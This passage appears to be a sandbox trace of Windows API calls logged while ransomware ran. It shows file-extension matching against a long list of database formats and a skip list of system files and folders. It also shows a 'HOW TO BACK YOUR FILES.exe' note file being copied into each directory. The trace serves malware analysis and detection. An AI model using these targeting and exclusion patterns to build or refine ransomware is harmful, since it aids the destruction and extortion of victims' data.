	[0037.538] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0037.538] lstrlenW (lpString="fcd") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0037.538] lstrlenW (lpString="fdb") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0037.538] lstrlenW (lpString="fic") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0037.538] lstrlenW (lpString="flexolibrary") returned 12
	[0037.538] lstrlenW (lpString="fm5") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0037.538] lstrlenW (lpString="fmp") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0037.538] lstrlenW (lpString="fmp12") returned 5
	[0037.538] lstrcmpiW (lpString1="s.ini", lpString2="fmp12") returned 1
	[0037.538] lstrlenW (lpString="fmpsl") returned 5
	[0037.538] lstrcmpiW (lpString1="s.ini", lpString2="fmpsl") returned 1
	[0037.538] lstrlenW (lpString="fol") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0037.538] lstrlenW (lpString="fp3") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0037.538] lstrlenW (lpString="fp4") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0037.538] lstrlenW (lpString="fp5") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0037.538] lstrlenW (lpString="fp7") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0037.538] lstrlenW (lpString="fpt") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0037.538] lstrlenW (lpString="frm") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0037.539] lstrlenW (lpString="gdb") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0037.539] lstrlenW (lpString="gdb") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0037.539] lstrlenW (lpString="grdb") returned 4
	[0037.539] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0037.539] lstrlenW (lpString="gwi") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0037.539] lstrlenW (lpString="hdb") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0037.539] lstrlenW (lpString="his") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0037.539] lstrlenW (lpString="ib") returned 2
	[0037.539] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0037.539] lstrlenW (lpString="idb") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0037.539] lstrlenW (lpString="ihx") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0037.539] lstrlenW (lpString="itdb") returned 4
	[0037.539] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0037.539] lstrlenW (lpString="itw") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0037.539] lstrlenW (lpString="jet") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0037.539] lstrlenW (lpString="jtx") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0037.539] lstrlenW (lpString="kdb") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0037.539] lstrlenW (lpString="kexi") returned 4
	[0037.539] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0037.539] lstrlenW (lpString="kexic") returned 5
	[0037.539] lstrcmpiW (lpString1="s.ini", lpString2="kexic") returned 1
	[0037.539] lstrlenW (lpString="kexis") returned 5
	[0037.539] lstrcmpiW (lpString1="s.ini", lpString2="kexis") returned 1
	[0037.539] lstrlenW (lpString="lgc") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0037.539] lstrlenW (lpString="lwx") returned 3
	[0037.539] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0037.539] lstrlenW (lpString="maf") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0037.540] lstrlenW (lpString="maq") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0037.540] lstrlenW (lpString="mar") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0037.540] lstrlenW (lpString="marshal") returned 7
	[0037.540] lstrcmpiW (lpString1="ngs.ini", lpString2="marshal") returned 1
	[0037.540] lstrlenW (lpString="mas") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0037.540] lstrlenW (lpString="mav") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0037.540] lstrlenW (lpString="maw") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0037.540] lstrlenW (lpString="mdbhtml") returned 7
	[0037.540] lstrcmpiW (lpString1="ngs.ini", lpString2="mdbhtml") returned 1
	[0037.540] lstrlenW (lpString="mdn") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0037.540] lstrlenW (lpString="mdt") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0037.540] lstrlenW (lpString="mfd") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0037.540] lstrlenW (lpString="mpd") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0037.540] lstrlenW (lpString="mrg") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0037.540] lstrlenW (lpString="mud") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0037.540] lstrlenW (lpString="mwb") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0037.540] lstrlenW (lpString="myd") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0037.540] lstrlenW (lpString="ndf") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0037.540] lstrlenW (lpString="nnt") returned 3
	[0037.540] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0037.540] lstrlenW (lpString="nrmlib") returned 6
	[0037.540] lstrcmpiW (lpString1="gs.ini", lpString2="nrmlib") returned -1
	[0037.540] lstrlenW (lpString="ns2") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0037.541] lstrlenW (lpString="ns3") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0037.541] lstrlenW (lpString="ns4") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0037.541] lstrlenW (lpString="nsf") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0037.541] lstrlenW (lpString="nv") returned 2
	[0037.541] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0037.541] lstrlenW (lpString="nv2") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0037.541] lstrlenW (lpString="nwdb") returned 4
	[0037.541] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0037.541] lstrlenW (lpString="nyf") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0037.541] lstrlenW (lpString="odb") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0037.541] lstrlenW (lpString="odb") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0037.541] lstrlenW (lpString="oqy") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0037.541] lstrlenW (lpString="ora") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0037.541] lstrlenW (lpString="orx") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0037.541] lstrlenW (lpString="owc") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0037.541] lstrlenW (lpString="p96") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0037.541] lstrlenW (lpString="p97") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0037.541] lstrlenW (lpString="pan") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0037.541] lstrlenW (lpString="pdb") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0037.541] lstrlenW (lpString="pdm") returned 3
	[0037.541] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0037.542] lstrlenW (lpString="pnz") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0037.542] lstrlenW (lpString="qry") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0037.542] lstrlenW (lpString="qvd") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0037.542] lstrlenW (lpString="rbf") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0037.542] lstrlenW (lpString="rctd") returned 4
	[0037.542] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0037.542] lstrlenW (lpString="rod") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0037.542] lstrlenW (lpString="rodx") returned 4
	[0037.542] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0037.542] lstrlenW (lpString="rpd") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0037.542] lstrlenW (lpString="rsd") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0037.542] lstrlenW (lpString="sas7bdat") returned 8
	[0037.542] lstrcmpiW (lpString1="ings.ini", lpString2="sas7bdat") returned -1
	[0037.542] lstrlenW (lpString="sbf") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0037.542] lstrlenW (lpString="scx") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0037.542] lstrlenW (lpString="sdb") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0037.542] lstrlenW (lpString="sdc") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0037.542] lstrlenW (lpString="sdf") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0037.542] lstrlenW (lpString="sis") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0037.542] lstrlenW (lpString="spq") returned 3
	[0037.542] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0037.542] lstrlenW (lpString="te") returned 2
	[0037.542] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0037.542] lstrlenW (lpString="teacher") returned 7
	[0037.543] lstrcmpiW (lpString1="ngs.ini", lpString2="teacher") returned -1
	[0037.543] lstrlenW (lpString="tmd") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0037.543] lstrlenW (lpString="tps") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0037.543] lstrlenW (lpString="trc") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0037.543] lstrlenW (lpString="trc") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0037.543] lstrlenW (lpString="trm") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0037.543] lstrlenW (lpString="udb") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0037.543] lstrlenW (lpString="udl") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0037.543] lstrlenW (lpString="usr") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0037.543] lstrlenW (lpString="v12") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0037.543] lstrlenW (lpString="vis") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0037.543] lstrlenW (lpString="vpd") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0037.543] lstrlenW (lpString="vvv") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0037.543] lstrlenW (lpString="wdb") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0037.543] lstrlenW (lpString="wmdb") returned 4
	[0037.543] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0037.543] lstrlenW (lpString="wrk") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0037.543] lstrlenW (lpString="xdb") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0037.543] lstrlenW (lpString="xld") returned 3
	[0037.543] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0037.543] lstrlenW (lpString="xmlff") returned 5
	[0037.543] lstrcmpiW (lpString1="s.ini", lpString2="xmlff") returned -1
	[0037.543] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
	[0037.544] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.544] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0037.544] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0037.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0037.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0037.544] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 64
	[0037.544] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0037.544] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.544] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.548] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.548] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.548] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.548] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.548] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.548] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.548] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.549] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.549] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.549] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.549] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.549] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.549] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0037.549] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.549] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0037.549] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media"
	[0037.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0037.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0037.549] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned 54
	[0037.549] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media"
	[0037.549] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.549] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.560] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.560] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.560] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.560] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.560] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.560] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="Apollon865.txt.exe") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2=".") returned 1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="..") returned 1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="windows") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="bootmgr") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="temp") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="pagefile.sys") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="boot") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="ids.txt") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="ntuser.dat") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="perflogs") returned -1
	[0037.560] lstrcmpiW (lpString1="12.0", lpString2="MSBuild") returned -1
	[0037.560] lstrlenW (lpString="12.0") returned 4
	[0037.560] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*") returned 56
	[0037.560] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="12.0" | out: lpString1="12.0") returned="12.0"
	[0037.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0037.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0037.561] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0037.561] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.561] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.561] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e816870, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0037.561] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.561] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0037.561] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0"
	[0037.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0037.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0037.561] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned 59
	[0037.561] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0"
	[0037.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.582] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
